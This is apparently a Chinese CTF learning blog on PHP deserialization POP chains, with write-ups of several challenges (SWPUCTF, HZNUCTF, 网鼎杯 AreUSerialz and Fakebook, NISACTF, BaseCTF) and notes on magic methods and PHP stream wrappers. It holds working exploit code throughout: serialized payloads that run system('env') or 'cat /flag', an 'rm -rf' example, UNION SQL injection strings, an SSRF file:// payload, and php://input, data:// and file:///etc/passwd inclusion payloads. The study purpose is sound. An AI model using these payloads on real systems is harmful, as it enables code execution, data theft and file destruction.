少女祈祷中...

关于POP链 (Property Oriented Programming Chain):

pop链漏洞通常是在用在有反序列化的程序当中,由于运用了大量的魔术方程,所以可能会出现一些纰漏,导致存在原生函数或者是更加明显的执行函数的被利用。(RCE,数据泄漏等等)

关于原生函数:

常见的原生函数:

1
`array_walk()`、`system()`、`eval()`、`unserialize()、exec()等

怎么利用原生函数?:

system,eval,exec这几个可以直接或者半直接执行函数的就不仔细说了,为什么array_walk也会被利用呢?

array_walk:

1
2
3
4
5
6
7
8
array_walk(array &$array, callable $callback, mixed $userdata = null): bool

实际例子:array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
  • $array:要遍历的数组。(会把这个数组里面的值逐一赋值给回调函数 {也可以是匿名函数}

  • $callback:回调函数,该函数至少接受两个参数,第一个参数是数组元素的值第二个参数是数组元素的键

  • $userdata:可选参数,传递给回调函数的额外数据。

    (键:相当于 array [ 键 ],这里面的数字就是键


  • 特殊情况:$this——$this***对象的属性值会赋值给$day1属性名会赋值给 $day2*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class MaliciousClass {
public function __construct() {
// 执行系统命令,如删除文件
system('rm -rf /tmp/sensitive_folder');
}
}

class MyClass {
public $userInput;

public function process() {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

// 攻击者控制 $userInput 的值
$obj = new MyClass();
$obj->userInput = 'MaliciousClass';
$obj->process();
?>

在这个代码里,$callback (回调函数) 变成结合了匿名函数来执行代码

  • 攻击者将 MyClass 对象的 $userInput 属性值设置为 MaliciousClass
  • 当调用 $obj->process() 方法时,array_walk 会遍历 $this 对象的属性,将属性名 userInput 作为类名,属性值 MaliciousClass 传递给 new 关键字,从而实例化 MaliciousClass 对象。
  • 实例化 MaliciousClass 对象时,其构造函数被自动调用,构造函数中的 system 函数执行危险的系统命令,最终导致服务器上的敏感目录被删除。
匿名函数:

在我认知里,相当于一个临时数组,里面可以至多存放两个变量,对变量的操作可以直接视为函数操作:

1
2
3
4
5
$numbers = [1, 2, 3];
array_walk($numbers, function($value) {
echo $value * 2 . ' ';
});
// 输出:2 4 6

函数体 echo $value * 2 . ' '; 的作用是将当前元素的值乘以 2,然后将结果输出,并在后面添加一个空格

这大概就是关于array__walk的大概解释了

总结: 就是给它数组或者属性,会遍历数组将值赋值给匿名函数,然后利用匿名函数来执行非法操作

在仔细理解后便去先做了点简单的题目:[SWPUCTF 2021 新生赛]pop

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

思路:{ destruct() }—–> { toString() }—–>w44m

于是构建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class w44m{
private $admin = 'w44m';
protected $passwd = '08067';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return '0';
}
}

$a = new w22m();
$a->w00m = new w33m();
$b = $a->w00m;
$b->w00m = new w44m();
$b->w22m = 'Getflag';


echo serialize($a);

后面发现好像不需要构造这么长(恼

输出得到

1
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

记得把保护属性和私有属性加上:(**%00把空字符替换**)

1
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

即可做出

[HZNUCTF 2023 preliminary]ppppop

进入页面,一片空白?

image-20250315090053604

我该怎么做?很迷茫,扫描了发现也什么都没有,只好去看了一下别人的blog,发现需要抓包:

image-20250315090308935

发现cookie值是

1
O:4:"User":1:{s:7:"isAdmin";b:0;}------base64解编码后

我们修改0为1

1
O:4:"User":1:{s:7:"isAdmin";b:1;}

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);关闭 PHP 的错误报告。
include('utils.php');包含名为 utils.php 的文件。

class A {
public $className;用于存储一个类名
public $funcName;用于存储一个方法名
public $args;用于存储传递给方法的参数。

public function __destruct() { 这是 PHP
的析构函数,当对象被销毁时自动调用
$class = new $this->className; 根据存储的
className 创建一个新的对象 $class
$funcName = $this->funcName;将存储的
funcName 赋值给变量 $funcName
$class->$funcName($this->args);
调用新创建对象的指定方法,并传入存储的参数。
}
}

class B {
public function __call($func, $arg) { 这是
PHP 的魔术方法,当调用一个不可访问的方法时自动触发。
$func($arg[0]);
}在这个方法中,它将第一个参数 $arg[0](即传入的参
数数组中的第一个元素)作为参数传递给存储在变量 $func
中的函数进行调用。
}

if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
从用户提交的 POST 请求中获取 payload 参数 ,对其进行
base64 解码,然后将结果反转。
unserialize($payload);
}

错误点:误把值直接赋值给了$func$arg导致错误了,应该直接赋值给

1
2
3
public  $className;
public $funcName;
public $args;

答案是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class A {
public $className = "B";
public $funcName = "system";
public $args = "env";--------------除了环境变量还有ls -a(列出所有的目录与名字)
cat /proc/self/environ(也是读取环境变量)
}

class B {
public function __call($func, $arg) {
$func($arg[0]); // $func 是方法名,$arg 是调用时的参数数组
}
}

$d = new A();

$f = serialize($d); // 序列化
$g = strrev($f); // 反转字符串
echo base64_encode($g); // Base64 编码


fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==

[网鼎杯 2020 青龙组]AreUSerialz(其实这个本来应该放在第一个的,忘记写了)

ez_反序列化漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}
新知识:

1.我们可以直接构造一个新的序列,不用一个一个写

1
2
3
4
5
6
7
8
9
10
11
12
13
class FileHandler
{

public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;

2.利用php伪协议来读取

1
php://filter/read=convert.base64-encode/resource=flag.php

原因:在服务器中file_get_contents会读取文件并且执行,看到结尾有.php便会以php的方式执行代码,可是如果flag文件里面没有echo之类的输出函数,就无法输出

如下函数:

1
2
3
<?php
$flag = 'flag{23122b16-3361-4524-829a-55503b6e8000}';
?>

所以用base64直接编码读取可以直接获取全部的文件内容。

[[NISACTF 2022]popchains

ee6ee8195d

懒得写了,直接借用他人写过的(

于是便构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var='php://filter/convert.base64-encode/resource=/flag';
}
class Make_a_Change{
public $effort;
}

$a=new Road_is_Long;
$a->page=new Road_is_Long;
$a->page->string=new Make_a_Change;
$a->page->string->effort=new Try_Work_Hard;

echo urlencode(serialize($a));

学到什么?

1.什么时候该用 ‘ ‘,什么时候该用 “ ”
  • **引号字符串 " "**:
    支持解析变量和转义字符(如\n\t\"等)。

    1
    2
    $name = "Alice";
    echo "Hello, $name!"; // 输出:Hello, Alice!
  • **单引号字符串 ' '**:
    不解析变量,直接输出原始内容($name 会原样显示)。

    php

    复制

    1
    2
    $name = "Alice";
    echo 'Hello, $name!'; // 输出:Hello, $name!

老是用错可恶心坏我了(恼)

2.构建new 类的时候,不能在一个类的里面
1
2
3
4
5
6
7
8
9
10
11
12
#错误:
class Road_is_Long{
public $page;
public $string = Road_is_Long;
}
#正确:
class Road_is_Long{
public $page;
public $string;
}
$a=new Road_is_Long;
$a->page=new Road_is_Long;

【Basectf】Really EZ POP

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

学到什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
使用反射机制来修改私有属性:
<?php
class Shark {
private $word = 'Hello, World!';
}

// 创建 Shark 类的对象
$shark = new Shark();

// 使用 ReflectionClass 获取 Shark 类的反射对象
$reflection = new ReflectionClass($shark);

// 获取 $word 属性的反射对象
$property = $reflection->getProperty('word');

// 设置属性为可访问,即绕过私有属性的访问限制
$property->setAccessible(true);

// 修改 $word 属性的值
$newValue = 'New value for word';
$property->setValue($shark, $newValue);

// 验证修改结果
echo $property->getValue($shark);
?>

就是利用四个函数作为主力:
ReflectionClass()
getProperty()
setAccessible()
setValue()

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Sink {
private $cmd = 'system("cat /flag");'; // [!] 修复1:可执行命令
}

class Shark {
private $word; // [!] 修复2:留空,后续动态赋值
}

class Sea {
public $animal;
}

class Nature {
public $sea;
}

// 构建利用链
$sink = new Sink();

$shark = new Shark();
// [!] 修复3:通过反射修改私有属性
$reflection = new ReflectionClass($shark);
$property = $reflection->getProperty('word');
$property->setAccessible(true);
$property->setValue($shark, $sink); // $word 指向 Sink 对象

$sea = new Sea();
$sea->animal = $shark; // [!] 关键:animal 是 Shark 对象

$nature = new Nature();
$nature->sea = $sea;

echo urlencode(serialize($nature));

[网鼎杯 2018]Fakebook

本以为是普通的异或注入,没想到竟然是 sql注入,SSRF,反序列化三位一体!!!
自己的方法:

最开始:

我们需要发现注入点,于是点入1,发现url发生变化:

测试注入,发现是异或注入:(其实有更简单的方法)

来用脚本爆破(自己的工具箱):

得出库:fakebook

表:users

列:no,username,passwd,data

查列的内容,发现,在data里居然出现了反序列化??

然后我就不会做了,就去查wp了。

别人的方法:

居然不需要异或???

利用绕过:(/**/)

1
2
3
4
5
6
7
8
9
10
11
12
13
?no=-1/**/union/**/select/**/1,database(),3,4--+
?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/0,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/1,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/1,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/2,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/3,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/4,1),3,4--+

后面四个是爆破列名

1
no,username,passwd,data

来看看列里面有什么?

1
2
3
4
5
6
7
?no=-1/**/union/**/select/**/1,(select/**/group_concat(no)/**/from/**/users),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(username)/**/from/**/users),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(passwd)/**/from/**/users),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+

发现在data居然出现了反序列化???

这时候就体现信息收集的重要性了

扫描发现存在robots.txt

这是原码的下载路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
反序列化部分:

我们发现存在:

1
$output = curl_exec($ch);

会执行url的代码,于是便存在ssrf

本以为是反序列化,没想到是ssrf吗??!!!

补充:
常见引发 SSRF 的 PHP 函数
  1. curl_exec()

    • 用途:发起 HTTP 请求(如 GET/POST)。

    • 风险:直接使用用户输入的 URL 参数,可能导致服务器访问任意目标。

    • 示例代码

      1
      2
      3
      $url = $_GET['url'];
      $ch = curl_init($url);
      curl_exec($ch);
  2. file_get_contents()

    • 用途:读取文件或 URL 内容。

    • 风险:若参数可控,可通过 file:// 协议读取本地文件,或通过 http:// 访问内网资源。

    • 示例代码

      1
      $content = file_get_contents($_GET['url']);
  3. fsockopen()

    • 用途:创建网络套接字连接。

    • 风险:直接使用用户输入的 IP 和端口,可能导致端口扫描或访问内网服务。

    • 示例代码

      1
      2
      3
      $host = $_GET['host'];
      $port = $_GET['port'];
      $socket = fsockopen($host, $port);
  4. stream_socket_client()

    • 用途:创建网络流连接。
    • 风险:与 fsockopen() 类似,参数可控时可访问任意地址。
  5. file_put_contents()

    • 用途:写入文件或 URL 内容。
    • 风险:结合 php://filter 等协议可篡改文件内容。
  6. parse_url()

    • 用途:解析 URL。
    • 风险:若未严格验证 URL 格式,可能被利用构造恶意协议(如 dict://)。
构造最终payload:
1
2
1:测试
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";}'--+

结果:ctrl+u 发现出现超链接:

(页面不显示,只能在这里看见,点进去发现确实是百度网站,说明,构建成功!

1
2
2最终代码:
?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:18;s:4:%22blSog%22;s:29:%22file:///var/www/html/flag.php%22;}%27--+

点进去即可获取flag!


常见的魔术方程:

1. __construct()

  • 功能:构造函数,在创建对象时自动调用,用于初始化对象的属性。
  • 人话:类被使用就会被调用
  • 示例
1
2
3
4
5
6
7
8
9
10
11
12
class Person {
public $name;
public $age;

public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
}

$person = new Person('John', 30);
echo $person->name; // 输出: John

2. __destruct()

  • 功能:析构函数,在对象被销毁时自动调用,通常用于释放对象占用的资源,如关闭文件、数据库连接等。
  • 人话:整体脚本结束时候调用
  • 示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class DatabaseConnection {
private $conn;

public function __construct() {
$this->conn = new mysqli('localhost', 'user', 'password', 'dbname');
}

public function __destruct() {
if ($this->conn) {
$this->conn->close();
}
}
}

$db = new DatabaseConnection();
// 当脚本执行结束或对象被显式销毁时,__destruct() 方法会被调用

3. __toString()

  • 功能:当对象被当作字符串使用时自动调用,必须返回一个字符串。
  • 人话:被强制为echo输出时候调用
  • 示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Book {
public $title;

public function __construct($title) {
$this->title = $title;
}

public function __toString() {
return "Book title: " . $this->title;
}
}

$book = new Book('PHP Programming');
echo $book; // 输出: Book title: PHP Programming

4. __call()

  • 功能:当调用一个对象中不存在的方法时自动调用,接收两个参数:方法名和参数数组。
  • 人话:使用同一个类中不可访问的方法时候调用(比如私有和不存在的
  • 示例
1
2
3
4
5
6
7
8
class MyClass {
public function __call($method, $arguments) {
echo "Call to undefined method: $method with arguments: " . implode(', ', $arguments);
}
}

$obj = new MyClass();
$obj->unknownMethod('arg1', 'arg2'); // 输出: Call to undefined method: unknownMethod with arguments: arg1, arg2

5. __callStatic()

  • 功能:当调用一个类中不存在的静态方法时自动调用,接收两个参数:方法名和参数数组。

  • 静态是什么?

    1
    2
    3
    使用static进行定义
    echo MathUtil::add(2, 3); // 输出:5
    ::进行引用
  • 示例

1
2
3
4
5
6
7
class MyStaticClass {
public static function __callStatic($method, $arguments) {
echo "Call to undefined static method: $method with arguments: " . implode(', ', $arguments);
}
}

MyStaticClass::unknownStaticMethod('arg1', 'arg2'); // 输出: Call to undefined static method: unknownStaticMethod with arguments: arg1, arg2

6. __get()

  • 功能:当访问一个对象中不存在或不可访问的属性时自动调用,接收一个参数:属性名。
  • 人话:调用不存在的属性时候调用
  • 示例
1
2
3
4
5
6
7
8
9
10
11
12
13
class MyObject {
private $data = [];

public function __get($property) {
if (array_key_exists($property, $this->data)) {
return $this->data[$property];
}
return null;
}
}

$obj = new MyObject();
$value = $obj->nonExistentProperty; // 会调用 __get() 方法

7. __set()

  • 功能:当给一个对象中不存在或不可访问的属性赋值时自动调用,接收两个参数:属性名和属性值。
  • 示例
1
2
3
4
5
6
7
8
9
10
class MyObject {
private $data = [];

public function __set($property, $value) {
$this->data[$property] = $value;
}
}

$obj = new MyObject();
$obj->newProperty = 'new value'; // 会调用 __set() 方法

8. __isset()

  • 功能:当使用 isset() 函数检查一个对象中不存在或不可访问的属性时自动调用,接收一个参数:属性名。
  • 示例
1
2
3
4
5
6
7
8
9
10
class MyObject {
private $data = [];

public function __isset($property) {
return isset($this->data[$property]);
}
}

$obj = new MyObject();
var_dump(isset($obj->nonExistentProperty)); // 会调用 __isset() 方法

9. __unset()

  • 功能:当使用 unset() 函数删除一个对象中不存在或不可访问的属性时自动调用,接收一个参数:属性名。

  • 示例

1
2
3
4
5
6
7
8
9
10
11
12
class MyObject {
private $data = [];

public function __unset($property) {
if (array_key_exists($property, $this->data)) {
unset($this->data[$property]);
}
}
}

$obj = new MyObject();
unset($obj->nonExistentProperty); // 会调用 __unset() 方法

10. __clone()

  • 功能:当使用 clone 关键字克隆一个对象时自动调用,用于自定义对象的克隆行为。
  • 示例
1
2
3
4
5
6
7
8
9
10
11
12
13
class MyClass {
public $value;

public function __clone() {
// 可以在这里对克隆后的对象进行一些额外的处理
$this->value = $this->value * 2;
}
}

$obj1 = new MyClass();
$obj1->value = 10;
$obj2 = clone $obj1;
echo $obj2->value; // 输出: 20

11.__wakeup()

在 PHP 里,当一个对象被反序列化(也就是从序列化后的字符串恢复为对象)时,__wakeup() 方法会自动被调用。

12.__sleep()

和wakeup相反,当被序列化时候会被调用


伪协议的研究:

输入代码类:

php://input

  • 用途:读取 HTTP 请求的原始 POST 数据流,直接执行代码
  • 条件allow_url_include=On(默认关闭)。
  • CTF 应用绕过对 $_POST 的过滤,直接传递 PHP 代码
  • (可以直接传递post的值,那些针对post的过滤就无用了)

绕过原理:

  • **$_POST**:在 PHP 中,$_POST 是一个超全局变量,用于接收通过 HTTP POST 方法提交的数据。当客户端以 application/x-www-form-urlencodedmultipart/form-data 格式发送 POST 请求时,PHP 会自动解析请求中的数据,并将其填充到 $_POST 数组中。例如,当表单以 application/x-www-form-urlencoded 格式提交时,数据会被编码成键值对的形式,如 key1=value1&key2=value2,PHP 会将其解析为 $_POST['key1'] = 'value1'; $_POST['key2'] = 'value2';

  • 如果只对key这个键值进行过滤的话就会出现input漏洞

示例 :直接执行代码

1
2
3
4
5
POST /vuln.php?file=php://input HTTP/1.1
Host: ctf.example.com
Content-Type: text/plain

<?php system("cat /flag"); ?>
  • 当漏洞代码为 include($_GET['file']); 时,php://input 会被解析为包含的代码并执行。

data://

  • 用途:将数据直接嵌入 URI,支持 text/plainbase64 格式。
  • 条件allow_url_include=On
  • CTF 应用:直接传递 PHP 代码执行。
  • (类似input,会执行输入的代码,在URL直接输入即可
  • 可用于:传输数据

示例 1:执行系统命令

1
http://ctf.example.com/?file=data://text/plain,<?php system("ls");?>
  • 直接包含并执行 ls 命令。

示例 2:Base64 编码绕过特殊字符过滤

1
http://ctf.example.com/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8%2b
  • 解码后内容:<?php system("ls");?>,避免 URL 中特殊字符被拦截。

读取文件类:

php://filter

  • 用途:对文件内容进行过滤处理(如编码、解码、压缩等)。
  • CTF 应用:读取 PHP 源码、绕过死亡 Exit、字符串处理。
  • base64编码用的就是这个
  • 多用于读取文件
  • 文件包含漏洞多半会用到

示例 1:读取 Base64 编码的源码

1
http://ctf.example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php
  • 返回 flag.php 的 Base64 编码内容,解码后获取原始代码。
  • convert.base64-encode是表明加密方法

示例 2:绕过死亡 Exit(过滤 <? 标签)

1
http://ctf.example.com/?file=php://filter/read=string.rot13/resource=flag.php
  • 使用 ROT13 编码文件内容,使 <?php 变成 <?cuc,绕过标签检测。

过滤器链示例

1
php://filter/read=convert.base64-encode|convert.base64-decode/resource=flag.php
  • 多次编码/解码可用于绕过某些 WAF 规则。

file://

  • 用途:访问本地文件系统(默认协议)。
  • CTF 应用:读取敏感文件(如 /etc/passwd、源码等)。

示例 1:读取系统文件

1
http://ctf.example.com/?file=file:///etc/passwd
  • 返回 /etc/passwd 文件内容。

示例 2:绕过路径限制

1
http://ctf.example.com/?file=file:///var/www/html/flag.php
  • 直接读取 Web 目录下的 PHP 文件(但可能被解析为空)。

总结对比表

协议 典型场景 关键条件 示例 Payload
php://input 执行 POST 原始代码 allow_url_include=On ?file=php://input + POST 代码
php://filter 读取 PHP 源码(Base64 编码) 无特殊要求 ?file=php://filter/convert.base64-encode/resource=flag.php
data:// 直接传递 PHP 代码 allow_url_include=On ?file=data://text/plain,<?php system("ls");?>
phar:// 反序列化漏洞触发 Phar 文件可解析 ?file=phar://exploit.phar
expect:// 执行系统命令(罕见) expect 扩展启用 ?cmd=expect://id
file:// 读取本地文件 无特殊要求 ?file=file:///etc/passwd